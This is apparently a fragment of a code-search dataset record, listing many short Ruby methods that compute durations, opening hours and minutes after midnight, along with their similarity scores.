get_time_tutor_can_help\n start_time = self.student_requests.where(status:\"active\").first.start_time\n if(Time.now-start_time)/60>30 #if a tutor has been working longer than 30 min\n return Time.now.in_time_zone + 60*30\n end\n return start_time + 60*30\n end", "def as_of_time\n @_as_of_time\n end", "def as_of_time\n @_as_of_time\n end", "def time_duration(mytime, start_time, end_time)\n # implement this\n return 9999999\n end", "def hours_until_close\n (self.closing_date.to_time - Time.zone.now.to_time) / 1.hours\n end", "def after_midnight(time)\n hour,minute = time.split(':').map(&:to_i)\n \n return hour == 24 ?\n 0\n : ((hour * 60) + minute)\nend", "def after_midnight(time_str)\n count = 0\n hour, min = time_str.split ':'\n hour.to_i.times { count += 60 }\n count += min.to_i\n count % 1440\nend", "def hours_left\n remaining = WorkingTime::Interval.new(self, close_of_business)\n return remaining.duration\n end", "def to_i\n ((@time.hour * 60) + @time.min) * 60\n end", "def end_time\n hours = start_time / 100\n minutes = start_time % 100\n duration_hours = duration / 60\n duration_minutes = duration % 60\n\n if duration_minutes + minutes >= 60\n hours += 1\n minutes = (duration_minutes + minutes) % 60\n duration_minutes = 0\n end\n\n return (hours + duration_hours) * 100 + (minutes + duration_minutes)\n end", "def get_adjust_easy_read_time(time)\n minute = DateUtils.epoch_to_minute(time).to_i\n diff = minute % 5 \n time - diff.minutes\n end", "def roundTimeUp(time)\n if time.split(':')[1] >= \"30\"\n if time.split(':')[0] != \"23\"\n time = time.split(':')[0].to_i + 1\n time = time.to_s + \":00\"\n else\n time = \"23:59\"\n end\n else\n time = time.split(':')[0] + \":30\"\n end\n return time\n end", "def ready_time(time=Time.now)\n if time.hour >= 17 || time.hour < 8\n time.strftime(\"PT08H00M\")\n else\n time.strftime(\"PT%HH%MM\")\n end\n end", "def get_otp_remaining_time\n (Time.now.utc.to_i / 30 + 1) * 30 - Time.now.utc.to_i\n end", "def lifetime_in_minutes\n return @lifetime_in_minutes\n end", "def calculate_time\n if @event.present? && @event.ends != nil\n event_time = @event.ends - @event.starts\n \n if event_time < 3600\n difference = ((event_time / 60) % 60)\n @event_difference = \"#{difference.round(0)} minutes\"\n else\n difference = event_time / (60 * 60)\n if difference == 1 \n @event_difference = \"#{difference.round(0)} hour\"\n else\n @event_difference = \"#{difference.round(1)} hours\"\n end\n end\n end\n end", "def timegap(start_time, end_time)\n time_gap = Time.parse(end_time) - Time.parse(start_time) \n (time_gap / 3600).ceil\nend", "def minutes() 60 * seconds end", "def shift_duration #get the duration of a shift\n ((self.start_time && self.end_time) ? self.end_time - self.start_time : 0)/60/60\n end", "def to_min(time)\n min = 0\n min += time.hour * 60\n min += time.min\n return min\n end", "def event_length(event, date)\n starting_hour = (((event.start_at).to_s).slice(10..13)).to_i\n starting_minute = (((event.start_at).to_s).slice(14..15)).to_i\n ending_hour = (((event.end_at).to_s).slice(10..13)).to_i\n ending_minute = (((event.end_at).to_s).slice(14..15)).to_i\n\n total_hours = ending_hour - starting_hour\n total_minutes = ending_minute - starting_minute\n\n if (total_minutes < 0)\n total_minutes = total_minutes + (-1)\n total_hours -= 1\n end\n\n total_time = (total_hours*3600) + (total_minutes * 60)\n if (event.end_at).to_date > date.to_date\n return 945\n end\n length = (945.0/86400) * total_time\n end", "def get_time_remaining\n\n end", "def running_time_in_minutes\n return 0 if self.started_at.nil? and self.stopped_at.nil?\n\n if self.stopped_at.nil?\n # Raid has not yet been stopped, use the current time\n ((Time.now - self.started_at)/60.0).floor\n else\n ((self.stopped_at - self.started_at)/60.0).floor\n end\n end", "def timeout_in\n if admin?\n 1.hour\n else\n 3.days\n end\n end", "def timeout_in\n if admin?\n 1.hour\n else\n 3.days\n end\n end", "def timeout_in\n if admin?\n 1.hour\n else\n 3.days\n end\n end", "def roundTimeFrom(time)\n if time.split(':')[1] >= \"30\"\n time = time.split(':')[0] + \":30\"\n else\n time = time.split(':')[0] + \":00\"\n end\n end", "def from(time)\n time + @length\n end", "def from(time)\n time + @length\n end", "def dep_time_loc_minutes\n dep_minutes_since_midnight\n end", "def time\n @originalTime.gsub(/[ (AM|PM)]/, '').split(':').map(&:to_f)\n end", "def normalize_end_time(time)\n time.midnight + 1.day - 1.minute\n end", "def min_available_talks_time_in_a_day\n 6*60\n end", "def as_of_time\n Conversions.string_to_utc_time attributes['as_of_time']\n end", "def time_diff\n diff = (@start_at and @end_at) ? @end_at.to_time - @start_at.to_time : 0\n diff.round.to_i\n end", "def after_midnight(time_str)\n time = Time.parse(time_str)\n (time.hour * 60) + time.min\nend", "def last_seen_duration(t)\n ((Time.now - t) / 60).floor\n end", "def calc_hours_till\n (calc_mins_till / 60.00).round(2)\n end", "def time_diff(time1, time2)\n time1_a = time1.split(':')\n time2_a = time2.split(':')\n \n hours_output = 0\n hours1 = time1_a[0].to_i\n hours2 = time2_a[0].to_i\n hours = hours2 - hours1\n \n mins = time2_a[1].to_i - time1_a[1].to_i\n \n while hours > 0\n hours_output += 60\n hours -= 1\n end\n return hours_output + mins \nend", "def start_time\n date.to_time + kickoff_time.hour.hours\n end", "def time_remaining\n\n end", "def adjust(time)\n time += 9*60*60 if DEBUG\n time.to_s.sub(/ \\+0900/,\"\")\n end", "def hours ; self * 60.minutes ; end", "def time_slot_duration(time_slot)\n diff = time_slot.ends_at - time_slot.starts_at\n diff += 2400 if diff < 0\n hour, minute = diff.divmod 100\n result = \"#{hour}hr\"\n result << \" #{minute}min\" unless minute == 0\n result\n end", "def open?(time = nil)\n time = Time.new if time.nil?\n time = time.in_time_zone(self.time_zone)\n day_index = time.wday\n return unless open_on_day? day_index\n hours = hours_on_day day_index\n (time > hours[0]) && (time < hours[1])\n end", "def time_remaining\n end", "def difference_in_minutes time_one, time_two\n time_one_with_resetted_date = reset_date_for_time time_one\n time_two_with_resetted_date = reset_date_for_time time_two\n (time_one_with_resetted_date - time_two_with_resetted_date) / 60\n end", "def end_time\n start_time + duration\n end", "def time_notification\n \"You have #{@time_to_answer / 60} min #{@time_to_answer % 60} sec left\"\n end", "def rate_time\n hour = @session_time == 2 ? \"12:15\" : \"08:15\"\n DateTime.parse(hour)\n end", "def get_duration_integer_minutes\n\t\t((end_time - start_time) / 60).to_i\n\tend", "def distance_of_time_in_words(time)\n minutes = (Time.new.to_i - time.to_i).floor / 60\n case\n when minutes < 1\n \"less than a minute\"\n when minutes < 2\n \"about a minute\"\n when minutes < 50\n \"#{minutes} minutes\"\n when minutes < 90\n \"about an hour\"\n when minutes < 1080\n \"#{(minutes / 60.to_f).ceil} hours\"\n when minutes < 2160\n \"1 day\"\n else\n \"#{(minutes / 1440).round} days\"\n end\n end", "def recording_length_string(len)\n if len > 60\n \"#{(len / 60).to_i} h #{len % 60} min\"\n else\n \"#{len} min\"\n end\n end", "def end_time\n start_time + treatment.duration.minutes\n end", "def time_in_minutes(time_str)\n time_in_seconds(time_str) / 60\n end", "def time_difference(distance, time)\n etd = base_time + departure_time.minutes\n eta = etd + journey_pattern.time_on_path(distance)\n if eta - 1.minute <= time\n if time <= eta + 1.minute\n # We are for the most part, on time\n return 0;\n else\n logger.info \"LATE!!!! #{tz(time)} ETA #{tz(eta)} #{time-eta} #{((time - eta)/1.minute).to_i}\"\n # we are late (positive) in minutes\n return ((time - eta)/1.minute).to_i\n end\n else\n logger.info \"EARLY!!! #{tz(time)} ETA #{tz(eta)} #{time-eta} #{((time - eta)/1.minute).to_i}\"\n # We are early (negative)\n return ((time - eta)/1.minute).to_i\n end\n end", "def night_length night_timelimit\n case day_timelimit\n when 1\n return \"336 hours (2 weeks)\"\n when 2\n return \"168 hours (1 week)\"\n when 3\n return \"120 hours (5 days)\"\n when 4\n return \"72 hours (3 days)\"\n when 5\n return \"48 hours (2 days)\"\n when 6\n return \"24 hours (1 day)\"\n when 7\n return \"12 hours\"\n when 8\n return \"6 hours\"\n when 9\n return \"3 hours\"\n when 10\n return \"2 hours\"\n when 11\n return \"1 hour\"\n when 12\n return \"30 minutes\"\n when 13\n return \"15 minutes\"\n when 14\n return \"10 minutes\"\n when 15\n return \"5 minutes\"\n else\n return \"Error\"\n end\n end", "def calculate_overtime_hours_from(from_time, grouping)\n overtime_hours = (from_time - grouping.due_date) / 1.hour\n # If the overtime is less than 0, that means it was submitted early, so\n # just return 0 - otherwise, return overtime_hours.\n [0, overtime_hours].max\n end", "def drive_time_in_minutes\n if @status != \"OK\"\n drive_time = 0\n else\n drive_time = @doc.css(\"duration value\").last.text\n convert_to_minutes(drive_time)\n end\n end", "def idle_time\n horizon_time - active_time\n end", "def timetoend\n endat - nowat\n end", "def format_time(time)\n hour = time.hour\n min = time.min\n if min >= 30\n hour += 1\n min = 0\n else\n min = 30\n end\n\n d = Time.now\n Time.new(d.year,d.month,d.day,hour,min,0)\n\n end", "def triptime(time1, time2)\r\n\r\n\t #For precision let the answer be in minutes\r\n\t t = ((Time.parse(time2) - Time.parse(time1))/60)\r\n\t t\r\n\tend" ]
[ "0.76807165", "0.7212819", "0.6871908", "0.6785013", "0.6725005", "0.67124176", "0.665532", "0.65909344", "0.6585296", "0.65680254", "0.6495326", "0.6473542", "0.6458115", "0.6450309", "0.644557", "0.63987", "0.6361431", "0.63541734", "0.63475794", "0.6318215", "0.6311052", "0.6284177", "0.62476367", "0.6243236", "0.62033564", "0.61966985", "0.61898446", "0.61877596", "0.6181584", "0.61791146", "0.61741", "0.6170097", "0.61627024", "0.6159095", "0.614384", "0.6143307", "0.6136115", "0.6111356", "0.61090285", "0.61090285", "0.60851663", "0.6083506", "0.6069085", "0.60647553", "0.60527056", "0.6051443", "0.6039436", "0.60291934", "0.60275394", "0.6017788", "0.6012128", "0.60076916", "0.59961474", "0.5991878", "0.59864515", "0.59752744", "0.59709007", "0.5963532", "0.5962627", "0.59515107", "0.5949535", "0.5949535", "0.5949535", "0.59375453", "0.59291875", "0.59291875", "0.5921393", "0.5920914", "0.5915015", "0.59107476", "0.58955884", "0.58892006", "0.5888899", "0.5888178", "0.5873747", "0.5869258", "0.5863932", "0.58635587", "0.586262", "0.58614", "0.58575153", "0.5856665", "0.5851045", "0.5849148", "0.5846794", "0.5835433", "0.5822525", "0.5821338", "0.5821299", "0.5814878", "0.5814036", "0.5813908", "0.5813522", "0.58098465", "0.58023965", "0.58016306", "0.57984555", "0.5797159", "0.57958835", "0.5777815" ]
0.6270769
22
the length of time from the close of the working day on the specified date until the next opening e.g., if we close at 5:00 PM on May 26 and don't open again until 9:00 AM on May 28, then the time to next open is 40 hours
def time_to_next_open(date) closed_at = open_close_times(date).last date = next_day(date) while open_close_times(date) == CLOSED date = next_day(date) end open_at = open_close_times(date).first open_at - closed_at end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def time_until_open(date)\n open = open_close_times(date).first\n open - date > 0 ? open - date : 0\n end", "def hours_until_close\n (self.closing_date.to_time - Time.zone.now.to_time) / 1.hours\n end", "def work_time(date)\n open, closed = open_close_times(date)\n closed - open - time_already_open(date)\n end", "def time_already_open(date)\n open = open_close_times(date).first\n date - open > 0 ? date - open : 0\n end", "def seconds_in_day_from(time)\n if @is_closed || time > time.set_time_to( @closing_time )\n 0\n else\n time.set_time_to( @closing_time ) - start_time(time)\n end\n end", "def next_opens\n opening_time.advance(weeks: 1)\n end", "def opening(day)\n Time.current.utc.midnight\n .advance(seconds: opening_second(day)).to_s(:time)\n end", "def time_to_close\n timeElapsed = hours_until_close * 3600\n minutes = (timeElapsed / 60) % 60\n hours = (timeElapsed/3600)\n hours.round.to_s + \":\" + format(\"%02d\",minutes.round.to_s)\n end", "def minutes_worked_today_until(date_time)\n return 0 unless working_day?(date_time)\n work_day = get_work_day(date_time)\n t = to_work_time(date_time)\n return 0 if t < work_day.start_time\n return total_working_minutes(date_time) if t > work_day.end_time\n end_time = to_work_time(date_time)\n end_time - work_day.start_time\n end", "def opening(day)\n Time.now.utc.midnight\n .advance(seconds: opening_second(day)).strftime('%H:%M')\n end", "def closing(day)\n Time.current.utc.midnight\n .advance(seconds: closing_second(day)).to_s(:time)\n end", "def opening_hour\n 11\n end", "def hours_left\n remaining = WorkingTime::Interval.new(self, close_of_business)\n return remaining.duration\n end", "def time_length\n (end_time.hour - start_time.hour) + (end_time.min - start_time.min) / 60.0\n end", "def opening_time\n opening_time = Time.new(2020, 10, 07, @opening_time[0..1], @opening_time[3..4])\n opening_time.strftime(\"%k:%M\")\n end", "def lead_time(date)\n interval_date_count date, :lead_time\n end", "def event_length(event, date)\n starting_hour = (((event.start_at).to_s).slice(10..13)).to_i\n starting_minute = (((event.start_at).to_s).slice(14..15)).to_i\n ending_hour = (((event.end_at).to_s).slice(10..13)).to_i\n ending_minute = (((event.end_at).to_s).slice(14..15)).to_i\n\n total_hours = ending_hour - starting_hour\n total_minutes = ending_minute - starting_minute\n\n if (total_minutes < 0)\n total_minutes = total_minutes + (-1)\n total_hours -= 1\n end\n\n total_time = (total_hours*3600) + (total_minutes * 60)\n if (event.end_at).to_date > date.to_date\n return 945\n end\n length = (945.0/86400) * total_time\n end", "def closing(day)\n Time.now.utc.midnight\n .advance(seconds: closing_second(day)).strftime('%H:%M')\n end", "def opening_hour\n 11 # 11am\n end", "def length_of_stay\n (self.date_end.to_date - self.date_start.to_date).to_i - 1\n end", "def next_working_day(date_time)\n date_time = date_time + 1\n while !working_day?(date_time)\n date_time = date_time + 1\n end\n date_time\n end", "def open_close_times(date)\n open_close = @open_close[as_string(date)] || @open_close[as_sym(date)] || @default_open_close\n open_close.collect { |h| Time.parse(\"#{as_string(date)} #{h}\") }\n end", "def time_days() (@time_end.jd - @time_start.jd) + 1; end", "def seconds_until_end_of_day\n end_of_day.to_f - to_f\n end", "def reservation_time\n\t\trestaurant = Restaurant.find(self.restaurant_id)\n\t\tday = self.requested_date_time.strftime(\"%A\").downcase\n\n\t\topen_time = get_time(restaurant, day, \"open\")\n\t\tclose_time = get_time(restaurant, day, \"close\")\n\t\tcheck_if_restaurant_closed(open_time)\n\n\t\tif open_time\n\t\t\topen_time = convert_time_to_decimal(open_time)\n\t\t\tclose_time = convert_time_to_decimal(close_time)\n\t\t\tclose_time = close_time + 24 if close_time < open_time # Add a full day if close time is less than open time\n\t\t\trequested_time = convert_time_to_decimal(self.requested_date_time)\n\t\t\tlatest_reservation_time = close_time - 0.5 # Subtract half hour from close time\n\t\t\tcheck_reservation_during_allowed_hours(open_time, latest_reservation_time, requested_time)\n\t\tend\n\tend", "def lead_time\n (self.date_start.to_date - self.booking_date.to_date).to_i\n end", "def seconds_until_end_of_day\n end_of_day.to_i - to_i\n end", "def after_last_work(start)\n if @values[start.wday].last_hour.nil?\n return start.next_day\n else \n start = start + HOUR * (@values[start.wday].last_hour - start.hour)\n start = start + MINUTE * (@values[start.wday].last_min - start.min + 1)\n return start\n end \n end", "def opening_time\n Time.current.beginning_of_week(:sunday)\n end", "def working_date(date)\n offset = case date.wday\n when 2..6 then 1\n when 1 then 3\n when 0 then 2\n end\n\n date - offset\n end", "def calc_days_till\n (calc_hours_till / 24.00).round(2)\n end", "def after_midnight2(t)\n hours, minutes = t.split(':').map(&:to_i)\n t = Time.new(2018, 4, 24, hours, minutes)\n ((t - FIXED_DAY) / 60) % MINUTES_PER_DAY\nend", "def closed_date_time\n return @closed_date_time\n end", "def local_seconds_until_end_of_day\n local_end_of_day.to_f - to_f\n end", "def time(date_time)\n unless working_day?(date_time)\n return start_of_day(next_working_day(date_time))\n end\n work_time = to_work_time(date_time)\n work_day = to_work_day(date_time)\n if work_time < work_day.start_time\n return start_of_day(date_time)\n elsif work_time > work_day.end_time\n return start_of_day(next_working_day(to_modified_date_time(date_time, WorkTime.new(0, 0))))\n else\n return date_time\n end\n end", "def minutes_to_end_of_day(date_time)\n wt = to_work_time(date_time)\n day_num = to_day_num(date_time)\n work_end_time = @days[day_num].end_time\n return work_end_time - wt\n end", "def dwell_time\n return nil if created_at.nil? || down_at.nil?\n\n # Convert the created at Time to date.\n created_at_date = Date.new(\n created_at.year,\n created_at.month,\n created_at.day\n )\n\n (down_at - created_at_date).to_i.abs\n end", "def min_available_talks_time_in_a_day\n 6*60\n end", "def lead_time\n 4\n end", "def end_time\n\t\tstart + 1.day\n\tend", "def start_time\n date.to_time + kickoff_time.hour.hours\n end", "def length\n end_date.days_from(start_date).to_i\n end", "def length\n difference = (self.end_time.to_datetime - self.begin_time.to_datetime).to_f\n if difference.approx( HALF_DAY, 0.01)\n 0.5\n elsif difference.approx( WHOLE_DAY, 0.01)\n 1.0\n else\n included_dates.reject {|d| black_out?(d)}.length.to_f\n end\n end", "def days_remaining\n if published?\n (ends_at.end_of_day.utc - DateTime.now.utc).to_i\n else\n days_open\n end\n end", "def lesson_length\n seconds = self.end_at - self.start_at\n seconds / 3600.0\n end", "def calc_hours_till\n (calc_mins_till / 60.00).round(2)\n end", "def hours_until_next_allowed\n ((created_at - RECENT_PERIOD.ago) / 3600).to_i\n end", "def hours_until_next_allowed\n ((created_at - RECENT_PERIOD.ago) / 3600).to_i\n end", "def next_time(time, schedule, closing_time)\n @time = time\n @schedule = schedule\n cycle_start_time = schedule.start_time - 24 * 60 * 60\n\n return nil unless find_acceptable_time_before(closing_time)\n number_of_days = number_of_days_between(@time, cycle_start_time)\n current_cycle_percentage = calculate_percentage(number_of_days)\n\n until current_cycle_percentage <= @acceptable_cycle_percentage\n @time += 1\n return nil unless find_acceptable_time_before(closing_time)\n number_of_days = number_of_days_between(@time, cycle_start_time)\n current_cycle_percentage = calculate_percentage(number_of_days)\n end\n\n @uses += 1 if @time\n @time\n end", "def night_length night_timelimit\n case day_timelimit\n when 1\n return \"336 hours (2 weeks)\"\n when 2\n return \"168 hours (1 week)\"\n when 3\n return \"120 hours (5 days)\"\n when 4\n return \"72 hours (3 days)\"\n when 5\n return \"48 hours (2 days)\"\n when 6\n return \"24 hours (1 day)\"\n when 7\n return \"12 hours\"\n when 8\n return \"6 hours\"\n when 9\n return \"3 hours\"\n when 10\n return \"2 hours\"\n when 11\n return \"1 hour\"\n when 12\n return \"30 minutes\"\n when 13\n return \"15 minutes\"\n when 14\n return \"10 minutes\"\n when 15\n return \"5 minutes\"\n else\n return \"Error\"\n end\n end", "def close_date(event)\n ((event.start_date-Time.now)< 259146.01469397545)\n end", "def effective_end_datetime\n end_date + 1.day + roster.switchover.minutes\n end", "def next_sunday(due_to_date)\n\t\t\tright_now = Time.zone.now\n\t\t\tright_now += 6.days if right_now <= due_to_date # approximation should be fine, ignore edge cases for now\n return right_now + (7 - right_now.wday).days + (22 - right_now.hour).hours + (0 - right_now.min).minutes + (0 - right_now.sec).second\n\t end", "def calculate_overtime_hours_from(from_time, grouping)\n overtime_hours = (from_time - grouping.due_date) / 1.hour\n # If the overtime is less than 0, that means it was submitted early, so\n # just return 0 - otherwise, return overtime_hours.\n [0, overtime_hours].max\n end", "def get_next_date\n today_wday = Date.today.wday\n wday_s = get_weekday(limit_weekday_start)\n wday_e = get_weekday(limit_weekday_end)\n if(wday_s < wday_e)\n if(today_wday > wday_e or today_wday < wday_s or(today_wday == wday_s and Time.now.hour < limit_time_start) or (today_wday == wday_e and Time.now.hour > limit_time_end))\n need_day = (wday_s + 7 - today_wday)%7\n return Time.parse(limit_time_start.to_s + \":00\", Time.now + need_day.day), true\n else\n need_day = wday_e - today_wday\n return Time.parse(limit_time_end.to_s + \":00\", Time.now + need_day.day), false\n end\n else\n if((wday_e < today_wday and today_wday < wday_s) or (today_wday == wday_s and Time.now.hour < limit_time_start) or (today_wday == wday_e and Time.now.hour > limit_time_end))\n need_day = wday_s - today_wday\n return Time.parse(limit_time_start.to_s + \":00\", Time.now + need_day.day), true\n else\n need_day = (wday_e + 7 - today_wday)%7\n return Time.parse(limit_time_end.to_s + \":00\", Time.now + need_day.day), false\n end\n end\n end", "def cycle_time\n if completed_at && started_at\n completed_at - started_at\n else\n 0.0\n end\n end", "def next_working_date(date)\n cwday = date.cwday\n days = 0\n while non_working_week_days.include?(((cwday + days - 1) % 7) + 1)\n days += 1\n end\n date + days\n end", "def get_duration\n ((finish - start) / 60 / 60) - (break_length / 60)\n end", "def length\n (Date.week_days(@start_date, @end_date) - Personel.holidays).size\n end", "def dummy_time_for_day(day:, open:, close:)\n if open && close\n hour = open.first(2).to_i\n min = open.last(2).to_i\n sec = close.first(2).to_i + close.last(2).to_i / 100.0\n else\n hour = min = sec = 0\n end\n Time.zone.local(1970, 1, day_nr(day), hour, min, sec, 0)\n end", "def midnight_tonight\n (Time.now.to_date + 1).to_time\nend", "def after_midnight(time)\n hrs, mins = time.split(':')\n mins_in_hrs = hrs.to_i * 60\n total = mins_in_hrs + mins.to_i\n return 0 if total == 1440\n total\nend", "def current_cycle_day_count\n count = (Time.now.to_date - self.started.to_date).to_i\n if count <= 30\n return 30\n else\n return count\n end\n end", "def end_time_on_date(date)\n # puts \"end_time_on_date:\"\n # puts \"date.beginning_of_day: #{date.beginning_of_day}\"\n # puts \"start_time: #{start_time}\"\n # puts \"(date + 1).beginning_of_day: #{(date + 1).beginning_of_day}\"\n # puts \"end_time: #{end_time}\"\n if end_time.nil?\n start_time_on_date(date)\n elsif date.beginning_of_day < end_time &&\n end_time <= (date + 1).beginning_of_day\n # puts \"returning end time: #{end_time}\"\n end_time\n elsif (date + 1).beginning_of_day < end_time &&\n start_time < (date + 1).beginning_of_day\n # puts \"returning end of date: #{(date + 1).beginning_of_day}\"\n (date + 1).beginning_of_day\n else\n raise ArgumentError\n end\n end", "def open?\n\t\t@time = Time.now.to_formatted_s(:time)\n\t\t#Recupere le numero du jour actuel\n\t\tday = Time.now\n\t\tday = day.strftime(\"%w\")\n\t#Recupere l'operating_hour du jour actuel\n\t\t@open = self.operating_hours.find_by(day: day)\n\t\t@open.update(close_soon: false)\n\n\t\t@open_time = @open[:open].to_formatted_s(:time)\n\t\t@close_time = @open[:close].to_formatted_s(:time)\n\n\n\t\tif @open_time < @close_time\n\t\t\tif @time >= @open_time && @time <= @close_time\n\t\t\t\tif @time >= @open[:close] - 60*30\n\t\t\t\t\t@open.update(close_soon: true)\n\t\t\t\tend\n\t\t\treturn true\n\t\t\telse\n\t\t\treturn false\n\t\t\tend\n\t\telse\n\t\t\tif @time <= @open_time && @time >= @close_time\n\t\t\t\treturn false\n\t\t\t\telse\n\t\t\t\t\tif @time >= @open[:close] - 60*45\n\t\t\t\t\t\t@open.update(close_soon: true)\n\t\t\t\t\tend\n\t\t\t\treturn true\n\t\t\t\tend\n\t\t\tend\n\tend", "def length\n return 0.0/0.0 unless depart_time && return_time\n (return_time - depart_time)/60\n end", "def get_next_date(date, available_hours)\n # available_hours, ex : [(start_morning, end_morning), (start_afternoon, end_afternoon)]\n # 48 times because we want to try until the next day, same hour:\n # we add 0.5 hour each time so we have to add\n next_date = date + 30.minutes\n 48.times do\n available_hours.each do |interval|\n if (next_date.hour >= interval[0]) && (next_date.hour < interval[1])\n return next_date\n end\n end\n next_date += 30.minutes\n end\nend", "def duration_datetime\n scheduled_datetime + 1.hour\n end", "def relativeTime\n @relativeTime ||= RelativeTime.new(self, :opensAt, :length)\n end", "def end_date\n return (start and duration_days and duration_hours) ? (start + duration_days.days + duration_hours.hours) : nil\n end", "def end_of_day\n to_time.end_of_day\n end", "def after_midnight(time_str)\n count = 0\n hour, min = time_str.split ':'\n hour.to_i.times { count += 60 }\n count += min.to_i\n count % 1440\nend", "def days_remaining\n target_time = self.next_release[\"release_date\"].to_time\n current_time = Time.now\n \n difference_seconds = target_time - current_time\n difference_seconds.div(86400) # seconds in a day\n end", "def time_to_solve\n 1.hour\n end", "def day_length day_timelimit\n case day_timelimit\n when 1\n return \"336 hours (2 weeks)\"\n when 2\n return \"168 hours (1 week)\"\n when 3\n return \"120 hours (5 days)\"\n when 4\n return \"72 hours (3 days)\"\n when 5\n return \"48 hours (2 days)\"\n when 6\n return \"24 hours (1 day)\"\n when 7\n return \"12 hours\"\n when 8\n return \"6 hours\"\n when 9\n return \"3 hours\"\n when 10\n return \"2 hours\"\n when 11\n return \"1 hour\"\n when 12\n return \"30 minutes\"\n when 13\n return \"15 minutes\"\n when 14\n return \"10 minutes\"\n when 15\n return \"5 minutes\"\n else\n return \"Error\"\n end\n end", "def fulfilled_date_time\n return @fulfilled_date_time\n end", "def get_expiry_hours(event)\n \n hours_left = (event.event_date - event.created_at) / 60 / 60\n \n if hours_left >= 36\n #return 24.hours\n return 8.hours\n elsif hours_left < 24\n return 5.hours\n end\n\n return 12.hours\n\nend", "def total_working_minutes(date_time)\n return 0 unless working_day?(date_time)\n work_day = get_work_day(date_time)\n work_day.total_minutes\n end", "def hours_between(date1, date2)\n ((date2 - date1) / 1.hour).abs.round\n end", "def days_hours_worked(date_and_times)\n days_hours_worked = 0\n day_periods(date_and_times).split(',').each do |day_period, index|\n beginning_of_period, end_of_period = day_period.strip.split('-')\n beginning_of_period = beginning_of_period.strip\n end_of_period = end_of_period.strip\n begin_time = DatelessTime.new(beginning_of_period).to_time\n end_time = DatelessTime.new(end_of_period).to_time\n days_hours_worked += (end_time - begin_time)/60/60\n end\n days_hours_worked\nend", "def time_of_day(min)\n while min < -1440; min += 1440 end\n while min > 1440; min -= 1440 end\n if min >= 0; h = min / 60 end\n if min < 0; h = 24 + (min / 60) end\n m = min % 60\n if h < 10; h = \"0\" + h.to_s else h = h.to_s end\n if m < 10; m = \"0\" + m.to_s else m = m.to_s end\n return h+\":\"+m\nend", "def time_of_day_week(delta_minutes)\n # first sunday of the year at midnight\n first_sunday = Date.commercial(2019, 1, 7)\n # get a time object\n sunday_time = first_sunday.to_time\n # times work with seconds, trasform delta_minutes to seconds\n delta_sec = delta_minutes * 60\n # get the resulting time\n before_after_time = sunday_time + delta_sec\n #return a string rappresentation\n before_after_time.strftime('%A %H:%M')\nend", "def date_end # originally date_start\n\tdate = Date.today\n\t(1..7).each do |n|\n\t\tdate = Date.today - n#.days\n\t\tbreak if date.wday == 6 # 0 = Sun, 1 = Mon ... 6 = Sat\n\tend\n\tdate\nend", "def before_midnight(time)\n total_minutes = after_midnight(time)\n total_minutes == 0 ? 0 : 1440 - total_minutes\nend", "def get_worked_hours start_time, end_time\n start_time = DateTime.new(start_time.year, start_time.month, start_time.day, start_time.hour, start_time.min, start_time.sec)\n end_time = DateTime.new(end_time.year, end_time.month, end_time.day, end_time.hour, end_time.min, end_time.sec)\n hours_diff = ((end_time.to_time - start_time.to_time) / 1.hours ).round(2)\n hours_diff *= -1 if hours_diff < 0\n return hours_diff\n end", "def number_of_days\n return ( end_date - start_date ).to_i\n end", "def date_diff()\n start_time = Time.current\n @d = distance_of_time_in_words(start_time, @due_date, false)\n end", "def calculate_time\n if @event.present? && @event.ends != nil\n event_time = @event.ends - @event.starts\n \n if event_time < 3600\n difference = ((event_time / 60) % 60)\n @event_difference = \"#{difference.round(0)} minutes\"\n else\n difference = event_time / (60 * 60)\n if difference == 1 \n @event_difference = \"#{difference.round(0)} hour\"\n else\n @event_difference = \"#{difference.round(1)} hours\"\n end\n end\n end\n end", "def days_remaining_round_down\n (self.program_budge.duration_in_days) - self.day_of_budge\n end", "def duration\n if ending >= beginning\n (ending.to_i - beginning.to_i)\n else\n start_of_day = TimeOfDay.new(0,0,0)\n end_of_day = TimeOfDay.new(23,59,59)\n duration_day_1 = (end_of_day.to_i - beginning.to_i) + 1\n duration_day_2 = (ending.to_i - start_of_day.to_i)\n duration_day_1 + duration_day_2\n end\n end", "def difference_in_days(date1, date2)\n return ((date1.utc.at_midnight-date2.utc.at_midnight)/SECONDS_PER_DAY).to_i\n end", "def timetoend\n endat - nowat\n end", "def duration # in days\n @due_date - @start_date + 1\n end", "def business_hours_later( hours)\n now = Time.now # freeze it here for this cycle of call, or it keeps changing every second\n wanted = (hours.to_i.hours / 1.second) # convert hours to seconds\n available = available_work_seconds( now) # how much available today\n # if we have enough time today, just tell the time possible today\n # if we will run out of time today, check next working day, add run-over seconds to the start-of-day\n (available > wanted) ? ( now + wanted.seconds) : ( next_workday(now) + (wanted - available).seconds)\n end", "def time_of_day(min)\n if min<0\n min = min + (-(min/1440)*1440)\n end \n num_days = min/1440 \n if num_days > 1\n min = min - num_days*1440\n end \n hour = min/60\n minute = min.remainder(60)\n format('%02d', hour)\n p \"#{hour}:#{minute}\"\nend", "def lead_days\n 0\n end", "def duration\n (self.end_date.to_i/60/60/24) - (self.start_date.to_i/60/60/24)\n end", "def duration(holidays)\n vacation_range_duration - day_offs(holidays)\n end", "def lead_days\n 1\n end", "def lead_days\n 1\n end" ]
[ "0.7813214", "0.7438753", "0.7393421", "0.6926699", "0.66983944", "0.66936547", "0.66277957", "0.6552454", "0.64781725", "0.64600545", "0.644911", "0.6411212", "0.6373096", "0.63586634", "0.6345596", "0.62750244", "0.62622863", "0.6245853", "0.6240413", "0.62377644", "0.6230351", "0.62201333", "0.6216345", "0.61484855", "0.6091432", "0.60856694", "0.60722065", "0.60366255", "0.6021934", "0.60055214", "0.60042876", "0.5992109", "0.59909487", "0.59787124", "0.59684163", "0.5943211", "0.5898109", "0.5875804", "0.5850997", "0.58353794", "0.5802331", "0.57930714", "0.5742595", "0.5738953", "0.57269716", "0.57197434", "0.5714707", "0.5714707", "0.5710647", "0.57020146", "0.5697659", "0.5692985", "0.5690581", "0.5689043", "0.5687156", "0.56725395", "0.5653275", "0.56518155", "0.56402254", "0.56369644", "0.5619619", "0.5608855", "0.5597825", "0.55827373", "0.55790687", "0.5577851", "0.55708253", "0.5568163", "0.5567468", "0.555772", "0.5550661", "0.55478704", "0.5546089", "0.55429715", "0.55379623", "0.5524945", "0.55234855", "0.5522954", "0.55198103", "0.5517516", "0.55077326", "0.5489017", "0.54875267", "0.54847693", "0.5481531", "0.54805994", "0.5477219", "0.54727113", "0.5467267", "0.5459136", "0.54552233", "0.54552", "0.54442704", "0.5440206", 